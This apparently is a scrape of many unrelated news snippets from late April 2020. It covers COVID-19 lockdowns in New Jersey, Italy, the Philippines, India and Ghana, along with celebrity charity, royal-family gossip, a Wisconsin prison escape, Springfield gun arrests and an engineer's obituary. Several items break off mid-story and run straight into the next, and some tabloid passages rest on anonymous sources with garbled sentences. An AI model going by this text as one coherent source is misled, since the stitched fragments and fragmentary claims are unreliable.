Andover reveals. Jaroslav Havel, West Caldwell Red states had lockdowns, too Joe Pettones recent letter (Tyrants in training: Murphy, other blue-state govs) has the unmitigated gall to refer to New Jersey Gov. Phil Murphy and other blue state leaders as tyrants in training for using their executive powers to issue stay-at-home orders to stop the spread of COVID-19. This is laughable. In case Pettone hadnt noticed this, red-state governors have issued the same kind of lockdown orders, to various degrees except maybe for initial pandemic deniers like Floridas Rick DeSantis. Michael Schnackenberg, Newton Rare agreement here with Mulshines take One of the more unusual side effects Ive experienced as a result of the COVID-19 situation is that Im reading and supporting the views expressed by columnist Paul Mulshine in the Star-Ledger. Im quite confident that, under ordinary circumstances, this would never happen. I particularly agree with Mulshines recent comments on constitutional issues relating to several standing orders issued by Gov. Phil Murphy. Im not disputing the intent of these orders. I also agree with the need to close schools and restaurants, and cancel most public events. Beyond those items, I feel the governor and his team are really pushing the limits of constitutional privilege. I don't think you can impact effectively the course of such things as the spread of as COVID-19 with administrative actions that may do more harm than good. The case numbers I'm seeing in your paper seem to confirm this. J.M. Benjamin, Fanwood Our journalism needs your support. Please subscribe today to NJ.com. The Star-Ledger/NJ.com encourages submissions of opinion. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. More broadly than I would like. In Arizona, we're already majority-minority in the K-12 system. So for young people who've grown up around minorities or had a different experience than a lot of us in my generation, they don't harbor, I think, some of the prejudices that people in my generation do. Having said that, the behavior that they see modeled by elected officials and the party, it's difficult for them. Millennials look at the nativist attitude that a lot of elected officials present, and also the failure to address climate change in a serious way. They've been walking away from the party for a while, but now millennials are in a dead sprint away. And that's the real concern. If we go to a second Trump term, then there's a real danger. Owners of an Italian hairdressers have chained themselves to their shop to protest against forced closures during the coronavirus outbreak, according to local media. The demonstration in northern Italy took place after the government laid out plans to gradually ease lockdown measures, with bars, restaurants, hair salons and beauticians reopening at the start of June. We are ready to open, the owners said, according to Italian news agency ANSA. We will respect the rules, but we cannot stay closed. All non-essential businesses have been forced to close in Italy since mid-March as part of efforts to stop the spread of coronavirus. People have also be told to stay at home unless it is essential, for example to go to work or buy groceries. One of the owners wearing chains and a face mask said in a Facebook video they had been told they could maybe resume business in June, meaning they would have been shut for three months. We are still paying wages, bills, rent etc, he said. Images showed the group wearing face masks and gloves during the demonstration. The two men were joined by other protesters to fasten themselves to the hairdressers in Padua, northern Italy on Monday, according to local paper PadovaOggi. The prime minister, Giuseppe Conte, explained on Sunday how Italy hopes to come out of its nationwide lockdown, with parks to reopen and family visits within the same region allowed from next week. Factories and construction sites will be allowed to operate as long as they follow measures aimed at tackling the virus. However, barbers and hair salons have been told to wait a little longer, with plans to open doors again on 1 June if things are going in the right direction. The new timetable for relaxing lockdown measures has also been criticised by Italys bishops, who accused the government of arbitrarily leaving out when mass can be carried out again. Italy has been one of the worst-hit nations in the world by the coronavirus pandemic, with around 27,000 deaths to date. Nearly 200,000 people have been infected with the virus in the country, according to official figures on Tuesday. With all the motorsport events here in abroad have been rescheduled due to the coronavirus (Covid-19) pandemic, many have resorted to scratch their itch online. Abroad, there's SRO E-SPORT GT series for one, which is a commercial league. In the Philippines, ESports found its way through racing for a causespecifically to provide help for frontliners during these uncertain times. Tuason Racing, in partnership with Phoenix PULSE Young Drivers Program: Esports (YDP: ESports), is hosting its second round of Tuason Racing and Race for Frontliners on April 29. The Race For Frontliners series is part of Tuason Racings efforts in the fight against Covid-19. To rally the support of the eSports community, Tuason Racing maximized the online platform in order to generate support, pledging one (1) Family Mart food pack to a frontliner for every registration to the virtual race. Tuason Phoenix The donation will be coursed through partner non-profit organization Students Transformation and Enrichment for Truth-Values Integration and Promotion (STET-VIP). Not only does this initiative support the government in promoting staying at home and social distancing, but also opens a platform for aspiring young e-racing talent to explore and join Phoenix PULSEs Young Drivers Program. To make things more exciting, big prizes await the winner thanks to the support of global electronics brand LG Philippines. Race Champion Prizes include: LG High-Definition Television Phoenix PULSE Fuel Gift Certificate TopLift Toolset Tuason Racing Merchandise Part of the proceeds from the Race For Frontliners series will be donated to Covid-19 efforts. The program will be hosted by JP Tuason and Nissan GT Academy finalist Elysse Menorca. Help from home and join in on the action of the second round of Race for Frontliners brought to you by Tuason Racing and Phoenix PULSE Young Drivers Program Esports tomorrow (April 29) at 8PM PHT. Check out https://www.tuasonracing.com/ for more details. Also read: Nissan is Once Again Looking for Fastest Gran Turismo Virtual Racer Jensen Button Leads Star-Studded McLaren Cast in SRO E-Sport GT Series Salman Khan New Delhi: Bollywood superstar Salman Khan transfers funds into the accounts of 7000 daily wage workers of the film industry. The Bharat star recently pledged to financially support 25,000 daily wage workers who have been badly hit by the lockdown to contain the coronavirus spread in the country. Advertisement PhotoSalman Khan transferred Rs 3,000 to the accounts of about 7,000 workers. It is pertinent to mention here that Salman Khan had announced a few days ago that he would help the daily labourers of the industry who have become unemployed due to the lockdown. He had decided to provide financial assistance to 25,000 workers and now he seems to be fulfilling it. Salman Khan's NGO Being Human has started transferring money to people's accounts. PhotoManoj Sharma, assistant director of the film and TV industry has also promoted an emotional message by sharing a screenshot of the bank statement on his Twitter. He wrote, unfortunately I have never get a chance to work with you , nor I am in your team but still you are doing the financial support for thousands of people who are working in film industry without knowing them. Can't tell you how thankful we all for you. Advertisement File PhotoOn April 7, Salman Khan transferred a total of Rs 4 crore 80 lakh to the bank accounts of 16,000 workers. Not only that, Salman has also promised to transfer Rs 5 crore 70 lakh to the accounts of 19,000 workers in next month i.e May. In this way Salman will help the workers up to a total of Rs 10 crore 50 lakh in two months. Thai oceans see more fish and dugongs amid coronavirus closures April 28,2020 | Source: The Star Thai oceans are seeing more fish and rare marine animals since being closed to tourists due to the Covid-19 (coronavirus) pandemic. Thailand's Department of National Parks, Wildlife and Plant Conservations said in a Facebook post that officials sent out to inspect coral reefs saw a clear increase in the amount of fish among them. "From the survey, we found that since the national park's closure over the past month, we are clearly seeing an increase in the amount of fish," the posting said. "For example the parrot fish, which are usually seen in groups of five to six - we are now seeing them in groups of 15 to 20." It said coral reefs at the Hat Wanakon National Park in Prachuap Khiri Khan province, around 240km south of Bangkok, are not showing new signs of deterioration. The department said a marine animal conservationist had reported seeing dugongs on a daily basis, sometimes in groups of around five to six, near the island of Ko Libong in southern Thailand. Dugongs are herbivorous marine mammals that are listed as vulnerable to extinction by the International Union for Conservation of Nature. The wildlife department had also released drone footage of a herd of around 30 dugongs near Ko Libong it shot on Tuesday. Thailand has closed all national parks, malls and most shops and meeting places to curb the spread of the coronavirus. The country has been under a state of emergency since March 26 which will last until at least April 30. 1995-2020 Star Media Group Berhad Theme(s): Fisheries Resources. Edo State has recorded 29 confirmed cases of coronavirus (COVID-19) with three deaths, the states Commissioner for Health, Patrick Okundia, has said. Mr Okundia spoke to journalists in Benin on Tuesday. According to him, since the first outbreak of Coronavirus in the state, a total of 254 suspected cases have been tested as of April 27. And in all of these, we have a total of 29 confirmed cases of COVID-19, 194 of these suspected cases has been confirmed negative, the commissioner said. We have a case fatality rate of 10.3 per cent of the 29 confirmed cases we have with three deaths. So far, we have discharged eight persons. The total active cases that are currently under treatment in Edo is 18 and these are distributed as follows. We have nine of these cases in Stella Obasanjo Hospital, three in University of Benin Teaching Hospital. While three are also receiving treatment in Irrua Specialist Teaching hospital, all our active cases are stable and they are responding to treatment. We want to also let you know that about 31 samples have been sent and results are still pending. On his part, the state Deputy Governor, Philip Shaibu, who doubles as the Chairman of the Coronavirus Response Committee, said Governor Godwin Obaseki was consulting with medical experts and other stakeholders to reach a decision on new orders regarding the curfew imposed on the state. The state government imposed a dusk-to-dawn curfew on April 19. The Speaker of the Edo State House of Assembly, Frank Okiye, had on April 24 recovered from COVID-19. The states Deputy Governor, Philip Shaibu, had announced that Mr Okiye was the first person to contract the disease in the state. The politician had travelled to the United Kingdom and on his return embarked on self-isolation. (NAN) Prince Harry and Meghan Markle might not be happy being in the US after stepping down from their senior royal roles. Royal experts believe that they are likely to be back in the royal family after a year. According to royal photographer Arthur Edwards, the Duke and Duchess might be missing their formal life, especially Prince Harry, who has been a royal all his life. As per Edwards, despite Prince Harry's many faults as a rebellious teen, the British people will continue to love the Duke and Duchess of Sussex, and the royal experts believe that the 35-year-old father of one will likely be accepted with open arms. "The love this country has for him has never stopped," said Edwards. "As far as the nation is concerned, he is still their number one member of the royal family." Another royal expert Katie Nicholl said that Prince Harry would be missing much of his birth country while staying in Los Angeles with Meghan Markle. He is reportedly feeling this loss a lot more because of the coronavirus lockdown, which forced him to stay in isolation at home, and there's not much he can do. "I suspect Harry is probably feeling far from home right now. They won't want to take any risks traveling, and their priority is to keep Archie settled in a routine." Royal fans also believe that Prince Harry will return to the UK for his own mental health. One fan wrote in a community thread, "Prince Harry will return to the UK and to all the people who love him with or without Meghan Markle." The Duke and Duchess of Sussex have decided to quit their royal duties because of the pressured of being in the media spotlight. This has been happening since the fall of 2019, according to Prince Harry and Meghan Markle, when they confessed on their ITV Documentary, "Harry and Meghan: An African Journey" that the Duchess was not okay with the negative press about her. This has also led to Meghan Markle filing a lawsuit against the British tabloids. One of the lawsuits has already started its preliminary hearing in April, which happened virtually because of the COVID-19 orders. As per reports, there was a strike-out hearing that will help the judge determine if there must be a trial. No witnesses have been presented yet, but Prince Harry and Meghan Markle have reportedly listened to the virtual courtroom. If the judge decides to have the trial, the former "Suits" actress may go head-to-head with her father, Thomas Markle, in court. Markle is a crucial person for the defense team because it was his letter that Meghan wrote, and the press used and edited the letter and then published it to make her look bad. Two years since their estrangement, Meghan and her father have not talked to each other. The father contended that his daughter had abandoned him. However, the Meghan Markle and Prince Harry's lawyers released proof that the couple made attempts to get in touch with him, especially after learning that his health was not okay. READ MORE: Prince Harry FINALLY Lands His First Post-Royal Gig -- Details Here Authorities discovered Deering and Newman were picked up at Piggly Wiggly by someone driving a white vehicle. The announcement identifies Wooderick as the driver of the vehicle. Online court records show Wooderick has no criminal convictions. Deering and Newman were also allegedly aided in their escape by a Pardeeville woman who, according to a criminal complaint, told authorities she was afraid for her life. Holly M. Zimdahl, 46, was recently charged with aiding an escape and delivering illegal articles to an inmate. Zimdahl allegedly told deputies she received threatening messages against herself and her family while working at the prison kitchen. Searches of Zimdahls property found multiple cell phones, $1,400 in $100 dollar bills and a note instructing her where to buy electric fence cutters. The writers of the notes, unknown to Zimdahl, she said, told her to hide certain items in pallets and in a cooler in the kitchen where she worked. Zimdahl allegedly told police she knew it was wrong. Deering and Newman were arrested the next day at a homeless shelter in Rockford called Miss Carlys after the proprietor recognized their mugshots, noted their prison-issued sweatpants and offered them a cup of coffee before calling the police. ST. LOUIS, April 28, 2020 /PRNewswire/ -- Graybar, a leading distributor of electrical, communications and data networking products and provider of related supply chain management and logistics services, today reported its first quarter results. For the first three months of 2020, Graybar's net sales totaled $1.8 billion, a decrease of 0.3 percent compared to the same period last year. Net income attributable to Graybar for the quarter finished at $21.4 million, a 37.6 percent decrease from the first quarter of 2019. "Like most companies, we faced unexpected challenges in the first quarter because of the COVID-19 pandemic," said Kathleen M. Mazzarella, chairman, president and chief executive officer of Graybar. "Graybar is an essential business, and we applaud our employees' dedication to serving our customers and supporting our nation's critical infrastructure. While the future remains challenging, Graybar is a resilient company that has stood the test of time. Because of this solid foundation, we are confident in our ability to withstand this crisis as we prepare for recovery." Graybar, a Fortune 500 corporation and one of the largest employee-owned companies in North America, is a leader in the distribution of high quality electrical, communications and data networking products, and specializes in related supply chain management and logistics services. Through its network of 288 North American distribution facilities, it stocks and sells products from thousands of manufacturers, helping its customers power, network and secure their facilities with speed, intelligence and efficiency. For more information, visit www.graybar.com or call 1-800-GRAYBAR. Media Contact: Tim Sommer (314) 578-7672 [email protected] SOURCE Graybar Related Links http://www.Graybar.com Metro Manila (CNN Philippines, April 28) The government is still finalizing the list of areas under the extended enhanced community quarantine and is set to release the revised version on Wednesday, April 29, Interior Secretary Eduardo Ano has clarified. In a press briefing on Tuesday, Presidential spokesperson Harry Roque announced a list of localities to be placed under the extended ECQ until May 15. Roque said the Inter-Agency Task Force approved the list on Mondaya revision from the initial version released on April 24, which contained areas that had to be reevaluated and rechecked. However, in a later virtual discussion on the National Action Plan, Ano clarified that the said list is still up for validation at Wednesdays IATF meeting. He added that the final announcements will likewise be made on that day. Under Resolution no. 29, and as announced by Roque, the following regions, provinces, and cities under ECQ from May 1 to 15: - National Capital Region - Central Luzon (except for Aurora, which is under general community quarantine) - Calabarzon - Pangasinan - Benguet - Baguio City - Iloilo - Cebu Province - Cebu City - Davao City In areas under ECQ, stay-at-home rules remain strict, mass transportation is still suspended, and non-essential businesses remain closed to discourage people from going out except for food, banking, and medical runs. This is the second extension of the enhanced community quarantine in Metro Manila. Duterte originally scheduled the Luzon-wide quarantine to last only until April 14, but eventually decided to extend it, first until April 30, and eventually until May 15. Other regions and provinces considered moderate- and low-risk areas will be placed under general community quarantine from May 1 to 15. These areas will have more relaxed lockdown rules and several non-essential businesses will be allowed to reopen. 'LGUs not in list may request for inclusion' The DILG secretary explained that the authority to declare ECQ in provinces, highly-urbanized cities, and independent component cities rests with the IATF. However, Ano said that should the circumstances call for such need, mayors and governors may still put their areas under ECQ as long as the proposed move is cleared by the regional IATF. Kung gusto ni governor mag-declare, i-inform nya yung IATF, sumulat siya duon, Ano said. Almost everyday naman meeting ng IATF at sila ay masasabihan kaagad kung approved or hindi. [Translation: If the governor wants to declare, he or she should write to the IATF. Anyway, the IATF meets almost everyday, so the local government officials will be immediately notified if their request is approved or not.] Ano stressed that indiscriminate declarations by local officials are not allowed, as it is important that the LGUs align with the national plan against COVID-19. He added that analytics on the coronavirus incidence in specific areas are to be considered first by the IATF before permitting such a move. Transportation for domestic tourists, tests for OFWs Meanwhile, Roque in his press briefing said the IATF has also given authority to the Department of Tourism to charter and fund sweeper flights for stranded local tourists to return to Metro Manila. He added that the use of reverse transcription-polymerase chain reaction (RT-PCR) tests for OFWs returning from "high-risk" jurisdictions should be explored. Currently, all returning OFWs undergo testing using rapid antibody test kits. The first of Sydneys new intercity trains have been unveiled, but the government has no set date to operate the multi-billion dollar fleet as a union dispute drags on. NSW Transport Minister Andrew Constance said on Tuesday the trains would begin arriving in sets of 10 each month from mid-2020. The fleet was originally due to be delivered from South Korea in early 2019. State Transport Minister Andrew Constance aboard one of Sydney's new intercity trains. Credit:Nick Moir Mr Constance blamed union disputes and the COVID-19 pandemic for delaying the trains, which will operate across the Central Coast, South Coast, Newcastle and the Blue Mountains. "There was, last year, a lot of effort going into the design of the train which did put it back a couple of months," Mr Constance said as he unveiled the first of the 55 trains in Hurstville. The custody officer would handle the administration of those arrested. A custody officer at a Belfast police station has hit out at the shambolic provision of personal protection equipment (PPE). The whistleblower at Musgrave station spoke anonymously to the BBC Stephen Nolan show, with his comments voiced by a producer. He said the level of PPE available in a Covid suite - a block of around 50 cells for patients with symptoms - was non-existent for staff who are often assaulted and spat on. We have masks that are horrendous, they were actually recalled because they didnt meet any of the standards at all," he said. We have nurses in there that are wearing everything you can think of that you would wear in a hospital and were just standing there with a pair of gloves on and a terrible mask. He claimed the masks provided were out of date and came with a warning that they didnt stop the spread of infectious diseases. Describing the conditions, he said most of the 50 cells available were being used. You name it. Everything from drink drivers to domestics, the people there just going absolutely buck daft. Going through mental health issues, no one can control them so they bring them to us. The powers above in the police is just get on with it. Some of the routine risks are having to fingerprint staff, and having to physically wake patients who are intoxicated. He also claimed staff were told to take down signs in the Covid-suite as there was no room left for other detainees. This means detainees would not know if they were in the same area as those with symptoms. A statement from the PSNI said: Were doing everything we can to make sure the right PPE is made available to officers and staff for the roles they perform. The statement added it was a matter of concern and encouraged staff to bring forward any issues they may have. All the PPE provided is said to comply with standards issued by the public health agency and the National Police Chiefs Council. The PSNI said it was working with police and staff associations and would continue to work with them on emerging PPE issues. Can India win the fight against COVID-19? These 15 "high case load" places are crucial India pti-PTI New Delhi, Apr 28: NITI Aayog CEO Amitabh Kant has identified 15 places including Delhi, Mumbai and Ahmedabad as "high case load" and said India's success in battling COVID-19 is dependent on them. Out of these 15, seven districts show particularly high case volumes, like Hyderabad (Telangana), Pune (Maharashtra), Jaipur (Rajasthan), Indore (Madhya Pradesh), Ahmedabad (Gujarat), Mumbai (Maharashtra) and Delhi. Other high case load places that are "critical" in the battle against COVID-19 include -- Vadodara (Gujarat), Kurnool (Andhra Pradesh), Bhopal (Madhya Pradesh), Jodhpur (Rajasthan), Agra (Uttar Pradesh), Thane (Maharashtra), Chennai (Tamil Nadu) and Surat (Gujarat). "These 15 districts are critical in our battle against #Covid_19 Of them 7 show particularly high case volumes. India's success in battling COVID-19 is dependent on them. We must aggressively monitor, contain, test, treat in these districts! We must win here," Kant said in a tweet. India has been under lockdown since March 25 to combat the spread of coronavirus, which has infected more than 29,000 people in the country. More than 900 people have died due to the deadly virus. The government had on March 29 constituted 11 empowered groups to suggest measures to ramp up healthcare, put the economy back on track and reduce misery of people as quickly as possible post the 21-day lockdown imposed to contain the coronavirus pandemic. Kant, heads the Empowered Group (EG 6) on coordinating with private sector NGOs and international organisations. SPRINGFIELD Police arrested two teens and seized a loaded handgun from a car that appeared to be stalking a funeral procession for the citys latest murder victim, according to a spokesman for the department. Mondays arrests were the third and fourth in a memorial weekend for Chandler Stevenson, 22, fatally shot on College Street on April 17 during a backyard party, police said. That shooting prompted what city detectives characterized as a rolling gunfight that left four others wounded. A grey car whose description matched a vehicle involved in a shots fired incident earlier Monday was spotted tailing a Rolls Royce after it left a funeral home yesterday afternoon, said Ryan Walsh, spokesman for the Springfield Police Department. Detectives observed the car making a great effort to stay within eyesight of the Rolls Royce, Walsh said. Narcotics detectives approached the grey car which had two passengers. Due to their actions, they were both removed from the car. To avoid a potential violent encounter police stopped both cars at Main and Worthington streets. Detectives recovered a semiautomatic handgun loaded with 13 rounds of ammunition inside the grey car, Walsh said. A 17-year-old boy and Cyril Kenney, 18, of Myrtle Street in Indian Orchard, were arrested. Kenney was charged with carrying a firearm without a license and carrying a loaded large capacity firearm on a public way. Police are prohibited from providing information about juvenile suspects. Some of the people riding in the Rolls Royce were guests at the College Street party, including one of the gunshot victims who is recovering from his injuries, Walsh said. Mondays arrests followed two arrests and the seizure of a loaded AK-47 at a mobile memorial event for Stevenson on April 25 -- a convoy of cars traveling throughout the city, police said previously. On that day, Keonn Gibson, of Oswego Street, and Jamal Clark, of Rosemary Drive, both 18, were arrested and charged with illegal firearm possession and related crimes. Police Commissioner Cheryl Clapprood said previously the April 17 shootout was related to rival gangs, guns and drugs. "They had weapons that were unbelievable on the streets of Springfield, Clapprood said during a public address on April 20. There were about 30 people gathered in a backyard on College Street three days earlier, she said. The house party was arranged to honor the 2-year anniversary of a friend who died from an overdose, according to police. Around 7 p.m. someone opened fire on the backyard party. "The house party returned fire, Clapprood said. What ensued was a shootout that spanned nearly four miles and several neighborhoods, according to police. Some of the victims landed at Mercy Medical Center and two arrests were made on alleged gun and drug charges. No arrests have yet been made in connection with Stevensons killing. His was the citys fifth homicide of 2020. Prince Harry and Meghan Markle remain unshaken about their decision to cut ties with four U.K. tabloids after announcing that there would be "no corroboration and zero engagement" on their part. Meghan has accused the media of spreading reports that were "distorted, untrue, or invasive beyond reason" to make her look like a bad person. Since the former "Suits" star joined the royal family in 2018, she has been targeted and heavily scrutinized by the press while her sister-in-law, Kate Middleton, has been praised. Kate Middleton Over Meghan Markle As cited by a U.K tabloid, Meghan's pal revealed that the royal family appears to be more in favor of the Duchess of Cambridge than her. Moreover, the source claimed that the thing that "irritated Meghan and Harry the most" was had the British press "constantly criticized and needlessly bashed Kate the way they did her, modifications within the royal's media plan would have been designed. No thoughts asked." Duchess Meghan allegedly told friends that if Kate was in the same situation as her, the royal family would have intervened and shunned the tabloids "[Meghan said] no one would have put up with it, and the broken and outdated system would have been revised. Those outlets responsible for their vicious attacks would have been shut out," the source said. Royal Family Ignoring Meg, Harry? The insider also shared how the 35-year-old Duke approached his father Prince Charles and the Queen about Meghan "constantly" being bullied by the media and "how it was tearing him apart." Howeve, his family turned a blind eye and "wouldn't do anything to change the protocol." "[Meghan] reported it was infuriating that Harry's extremely authentic and valid problems fell on deaf ears. Meghan reported they made it appear like this is the way it is, deals with it. Harry experienced been working with it significantly also long. She claimed he wasn't heading to let this wipe out her existence and their relationship," Duchess Meghan's pal added. With that said, this has pushed Prince Harry to take things in his own hands as he "needed to take a stand" for his family. He was clear on his priorities and would not let the issue "destroy his life and their marriage." The Sussexes Working For "B*** of God" After the Duke and Duchess officially started their post-royal life, they moved to Los Angeles together with their 11-month-old son Archie Harrison. A few weeks ago, Prince Harry and Meghan were spotted volunteering for Project Angel Food -- a non-profit organization that provides meals for the critically ill and are at a greater risk of the pandemic. It was reported that the ex-royals spent two days distributing food within the L.A. community. However, they were criticized for being associated with the controversial spiritual leader, activist and PAF founder Marianne Williamson, who also described herself as "b*** of God." Upon graduation Wedgwood was appointed to the bridge design section and began work on the curved Mt White Bridge. At the time the calculations had to be carried out meticulously by hand and they and the drawings thoroughly checked. He married Carol in Coffs Harbour in 1963 and went on to have three sons. In 1964 he returned to the Gladesville Bridge, this time as a qualified civil engineer, and he was actively involved with the lifting of another of the four arch ribs from the temporary steel falsework. This was followed by his appointment as the resident engineer on the construction of the Captain Cook Bridge. Ray Wedgwood at Camden Bridge. Next came the development of the Macarthur Bridge across the Nepean River at Camden among others. The Macarthur Bridge was notable in that it started out with the steel girders cambered upwards. Locals were sure that some serious mistake had been made but all became clear when, after the concrete roadway had been cast and cured, the bridge was lowered to its final profile. This was a highly ingenious way of optimising the distribution of internal stresses in the bridge. Having designed the bridge it was appropriate that Wedgwood was appointed to the role of resident engineer supervising its construction. Ray Wedgwood at the Anzac Bridge, 1995. Credit:Peter Rae These were golden years in the design, construction and maintenance of bridges throughout NSW. Hundreds of bridges were being built each year. Wedgwood's career progressed from design engineer, resident engineer, supervising engineer, bridge design engineer to the pinnacle of chief engineer (bridges) with responsibility for every bridge in NSW. He had a passionate interest in the Sydney Harbour Bridge; in fact he designed two extra lanes to go above the existing eastern lanes but the project did not go ahead. His major achievement, however, was the Anzac Bridge. To provide a crossing of Blackwattle Bay in Sydney a number of alternatives were considered, including a 200-metre-span balanced cantilever design. Lurking beneath the water was a major power cable that served the City of Sydney and its location was not precisely known. The risk of damaging it or moving it during construction had consequences that were too scary to contemplate. Wedgwood took the bold decision to adopt a cable-stayed bridge with a span of 345 metres with the main tower supports on dry land well out of harms way. It was a bold decision, widely criticised as an engineers indulgence or worse, but he held his ground. It is now hard to find a real estate agent who doesnt sell property with a view of the Anzac Bridge as something quite special. The bridge was opened in December 1995. If only it had been a month later in 1996. Wedgwood was disappointed because he pointed out that the Harbour Bridge was opened in 1932, the Gladesville Bridge in 1964 and the Anzac Bridge in 1995. If it had been in 1996, it would have been a major bridge opened in Sydney every 32 years. He used to speculate on what would open in 2028. Another favourite saying of his was that roads existed simply to join up the bridges. Officially Wedgwood retired in 2004 but continued to keep an active interest especially in bridge history and heritage matters. He and Carol travelled extensively throughout Australia, taking a particular interest in the history of the locations they visited and noting almost every bridge, according to Carol. On one visit out near Lake Eyre to witness an eclipse of the moon, Wedgwood called in from a phone box in the middle of nowhere to set the ABC's "Macca" straight on a matter relating to the history of the Sydney Harbour Bridge. Subsequently he was a frequent guest on Maccas Australia All Over ABC programme, becoming his go-to man on all matters relating to bridges. Two campaigns stand out in relation to bridge heritage; one a failure, the other a success. In both cases his friend and collaborator was Brian Pearson, his predecessor as chief engineer (bridges) of RTA. Between them they claimed more than 80 years of experience as professional bridge engineers. Together they campaigned long and hard for the retention and upgrading of the bridge crossing the Hawkesbury and the saving of Thompson Square in Windsor. Their evidence before the Legislative Council select committee was compelling, concise and highly professional but sadly was completely ignored. The data, which is compiled using GPS coordinates on phones, is being used to track everything from how far people are straying from home to how those patterns stack up to pre-pandemic travel. Foot traffic at bus stops and parks can be tracked. Some of the data can be broken down to the state or county level, or by city block. Lockdown 3.0: Full list of what is allowed and what is not allowed Lockdown to be more stringent in hotspots India oi-Vicky Nanjappa New Delhi, Apr 28: The lockdown in hotspots may continue beyond May 3. The lockdown measures will be even more stringent in the hotspot areas, sources tell OneIndia. In Karnataka, Chief Minister, B S Yediyurappa met with senior officers, following his meeting with Prime Minister, Narendra Modi. During the meeting, Karnataka marked six districts as hotspots and this includes, Bengaluru urban. The lockdown will be lifted in the red zones only if there are no active cases for 28 days. States better acquainted with ground realities: PM Modi tells CMs The source cited above said that the lifting of the restrictions would be done in accordance with the guidelines issued by the Centre. The Ministry of Home Affairs would issue guidelines in the next couple of days. At the meeting, it was decided that economic activities should begin. However, this would be restricted only to the green districts. The Chief Minister has sought a report from all the Deputy Commissioners on the situation in their respective districts. The officer said that the lifting of restrictions would take place in a graded manner. Class consciousness does not flow automatically out of class identity. Being a worker does not necessarily mean you will come to identify as a worker. Instead, you can think of class consciousness as a process of discovery, of insights derived from events that put the relationships of class into stark relief. Or as the political theorist Cedric J. Robinson observed about the Civil War and Emancipation, Groups moved to the logic of immediate self-interest and to historical paradox. Consciousness, when it did develop, had come later in the process of the events. The revolution had caused the formation of revolutionary consciousness and had not been caused by it. The revolution was spontaneous. We arent yet living through a revolution. But we are seeing how self-interest and paradox are shaping the consciousness of an entire class of people. The coronavirus pandemic has forced all but the most essential workers to either leave their jobs or work from home. And who are those essential workers? They work in hospitals and grocery stores, warehouses and meatpacking plants. They tend to patients and cash out customers, clean floors and stock shelves. They drive trucks, deliver packages and help sustain this country as it tries to fight off a deadly virus. The close-quarters, public-facing nature of this work mean these workers are also more likely to be exposed to disease, and many of them are furious with their employers for not doing enough to protect them. To protect themselves, theyve begun to speak out. Some have even decided to strike. At the start of the crisis, in mid-March, bus drivers in Detroit refused to drive, citing safety concerns. The drivers didnt feel safe going on the bus, spreading their germs and getting germs from anybody, Glenn Tolbert, president of Amalgamated Transit Union Local 26, said in an interview with The Detroit News. We are on the front lines and picking up more sick people than doctors see. This was a last resort but drivers didnt feel safe. Their actions prompted officials to increase cleaning, provide masks to passengers and drivers, and eliminate fares to keep person-to-person interactions to a minimum. 28.04.2020 LISTEN LIFTING OF LOCKDOWN The Caucus for Democratic Governance, Ghana (CDG-Gh) has registered with concern the complex politics going on in this period of COVID-19. On the 20th of April, the President, in spite of admonitions from medical experts including the Ghana Medical Association, (and increases in COVID-19 death toll) decided to lift the partial lockdown. UNIMPRESSED ADDRESS The President using English phonetics and cleverly constructed sentences to help cement his intentions spoke to Ghanaians around 9.00pm. Unimpressed by the address, many medical authorities came out to criticize the bloated figures the President presented. The figures did not reconcile with the realities. Soon after the lifting of the partial lockdown, the NIA came out vigorously to register in the Eastern Region. The Electoral Commissioner Madam Jean Mensah obsessed with the concept of a new register, quickly called a meeting to facilitate the new registration, thus breaching the social gathering law. EC AND SOCIAL GATHERING Does the EC not respect the social gathering law ordered by the President? Is she not prepared to obey the law meant to protect the citizens of Ghana from the COVID-19? Why has the Police not arrested the EC chairperson as they have done in other cases? Can the silence of the President and Police be a positive political signal for a new register in spite of impediments? Can we conclude that the President is more interested in his political destiny than chasing COVID-19 out of Ghana? These are questions that keep worrying Ghanaians in times like this. DOUBLE STANDARDS Just yesterday (26th April) the President came again with information on COVID-19. This time, there was no doubt about his political orientations and double standards. He promised the people, he was going to build 88 hospitals across the country. This indeed, came as a surprise to many. The President is three and a half years in office and has not built even one hospital. Worrying is the fact that former President John Mahama left many uncompleted hospitals which the President pretended not to have seen, in spite of the importance of the health sector. POPULATION GROWTH How would you grade such a Government? Good or Bad? A good Government generally is a Government that takes into account the population growth. The population of Ghana increases by 2.5% yearly. For example, if there are 500 hospitals in Ghana, a new Government within four years will have to build not less than 12 hospitals to compliment the population growth. This is essential and very important in the area of health and education. MANIFESTO PROMISE In the NPP manifesto, it is stated clearly that the Government would build 135 SHS. Out of the 135, not even one has been built. Many promises made to the Ghanaian have turned out to be lies. Mr. President, which social development projects can you point to as a product of your four years rule? BAD GOVERNMENT Secondly, the people who voted you into office complain of fear and intimidation. If schoolchildren are kidnapped and killed; if media personnel is beaten, and others killed, in the course of their duty, if by-elections become bloody, then you cannot be a good Government. Mr. President your Government is a bad Government and cannot and should not be given a second term. We need a Government that will develop the social, economic, and human resources of Ghana. CONCLUSION As a developing country, we run the risk of running in circles instead of moving forward in consensus. In such critical moments, should the personal and political interest of the ruling elite overshadow the interest of the Ghanaian people, we stand to fail as a Nation. As I write 11 Ghanaians have died from COVID-19 infection. Dr. E.K.Hayford Managing Director CDG-GH Stay away, together. It's the message of a new campaign aimed at raising awareness of the ongoing COVID-19 pandemic's impact on Indigenous communities. The campaign, called Warrior Up, was created by IllumiNative, a nonprofit launched to increase the visibility of Indigenous people in the United States. The campaign includes a public service announcement featuring a slew of Indigenous actors, artists, and political leaders, and allies. Celebrities like Taika Waititi, Ed Helms, Wilmer Valderrama, Riley Keough and Taboo from the Black Eyed Peas appear in the PSA. They all have the message to #StayAtHomeTogther and being "a good nephew," or "a good auntie" by physical distancing and washing your hands in order to protect elders. "I just wanted to be a part of something positive during this crazy time," said Kaniehtiio Horn, one of the actresses in the video. "It would be devastating to lose anyone to this virus, but our elders especially who have so much knowledge and are our connection to our past and who we hold so dear in our culture." Horn is a Kanien'keha:ka (Mohawk) actress from Kahnawake, Que., and has been spending time at home reading and cooking. "I am not on the front lines, I've been on my couch, so it was nice to feel kind of useful by using whatever 'following' I have to spread the word and encourage our people to stay healthy and do their part to potentially save lives," she said. Spreading awareness Kawennahere Devery Jacobs is another Kanien'keha:ka actress in the PSA. She said she wanted to be involved to help spread awareness about the importance of self-isolating and physical distancing. "In many ways, this pandemic is almost contradictory to how we live as a people. It's kind of counterintuitive for us to be staying in isolation, so that's why it's important to get this message across," said Jacobs. "It is hard to be on your own and not go visit your tota (grandparent), see your 